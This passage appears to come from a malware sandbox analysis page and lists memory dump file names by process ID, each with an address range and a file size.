memory/4256-261-0x00000000075E0000-0x0000000007C5A000-memory.dmpFilesize
6.5MB
-
memory/4256-157-0x0000000000000000-mapping.dmp
-
memory/4256-221-0x0000000005780000-0x00000000057E6000-memory.dmpFilesize
408KB
-
memory/4256-282-0x00000000072D0000-0x00000000072EA000-memory.dmpFilesize
104KB
-
memory/4256-272-0x0000000007210000-0x00000000072A6000-memory.dmpFilesize
600KB
-
memory/4256-252-0x0000000006250000-0x0000000006282000-memory.dmpFilesize
200KB
-
memory/4256-174-0x00000000026C0000-0x00000000026F6000-memory.dmpFilesize
216KB
-
memory/4256-254-0x00000000706B0000-0x00000000706FC000-memory.dmpFilesize
304KB
-
memory/4256-189-0x0000000004FE0000-0x0000000005608000-memory.dmpFilesize
6.2MB
-
memory/4256-214-0x0000000004ED0000-0x0000000004EF2000-memory.dmpFilesize
136KB
-
memory/4256-280-0x00000000071D0000-0x00000000071DE000-memory.dmpFilesize
56KB
-
memory/4272-187-0x0000000000000000-mapping.dmp
-
memory/4304-191-0x0000000000000000-mapping.dmp
-
memory/4388-166-0x0000000000000000-mapping.dmp
-
memory/4544-248-0x0000000000400000-0x0000000000422000-memory.dmpFilesize
136KB
-
memory/4544-247-0x0000000000000000-mapping.dmp
-
memory/4704-310-0x0000000000000000-mapping.dmp
-
memory/4768-244-0x0000000000000000-mapping.dmp
-
memory/4796-312-0x0000000000000000-mapping.dmp
-
memory/4800-317-0x0000000000000000-mapping.dmp
-
memory/4800-337-0x0000000000400000-0x0000000000906000-memory.dmpFilesize
5.0MB
-
memory/4820-326-0x0000000000000000-mapping.dmp
-
memory/4820-339-0x0000000000400000-0x000000000090D000-memory.dmpFilesize
5.1MB
-
memory/4892-273-0x0000000000000000-mapping.dmp
-
memory/4940-342-0x0000000000000000-mapping.dmp
-
memory/4940-345-0x0000000000400000-0x0000000000420000-memory.dmpFilesize
128KB
-
memory/5016-311-0x0000000000000000-mapping.dmp
-
memory/5072-172-0x0000000000000000-mapping.dmp
-
memory/5080-200-0x0000000000000000-mapping.dmp
-
memory/5080-216-0x00007FFE35150000-0x00007FFE35C11000-memory.dmpFilesize
10.8MB
-
memory/5080-253-0x00007FFE35150000-0x00007FFE35C11000-memory.dmpFilesize
10.8MB
-
memory/5080-208-0x00000000002F0000-0x0000000000308000-memory.dmpFilesize
96KB
-
memory/5096-305-0x00000000037B0000-0x0000000003A04000-memory.dmpFilesize
2.3MB
-
memory/5096-322-0x00000000037B0000-0x0000000003A04000-memory.dmpFilesize
2.3MB
-
memory/5096-201-0x0000000000000000-mapping.dmp
-
memory/17600-348-0x0000000000000000-mapping.dmp
-
memory/17620-353-0x0000000000000000-mapping.dmp
-
memory/17620-354-0x0000000000400000-0x0000000000577000-memory.dmpFilesize
1.5MB
-
memory/17620-387-0x00000000031F0000-0x0000000003299000-memory.dmpFilesize
676KB
-
memory/17620-385-0x0000000003130000-0x00000000031EE000-memory.dmpFilesize
760KB
-
memory/33736-358-0x0000000000000000-mapping.dmp
-
memory/44372-436-0x0000000000400000-0x0000000000420000-memory.dmpFilesize
128KB
-
memory/45816-364-0x0000000000000000-mapping.dmp
-
memory/58944-367-0x0000000000400000-0x0000000000420000-memory.dmpFilesize
128KB
-
memory/58944-366-0x0000000000000000-mapping.dmp
-
memory/59564-422-0x0000000000400000-0x00000000004CE000-memory.dmpFilesize
824KB
-
memory/59652-424-0x0000000000400000-0x0000000000881000-memory.dmpFilesize
4.5MB
-
memory/59832-390-0x0000000000400000-0x0000000000537000-memory.dmpFilesize
1.2MB
-
memory/59832-391-0x0000000000400000-0x0000000000537000-memory.dmpFilesize
1.2MB
-
memory/59832-393-0x0000000000400000-0x0000000000537000-memory.dmpFilesize
1.2MB
-
memory/60052-400-0x0000000000400000-0x0000000000409000-memory.dmpFilesize
36KB
-
memory/60060-412-0x00000000025D0000-0x000000000268E000-memory.dmpFilesize
760KB
-
memory/60060-413-0x0000000002C80000-0x0000000002D29000-memory.dmpFilesize
676KB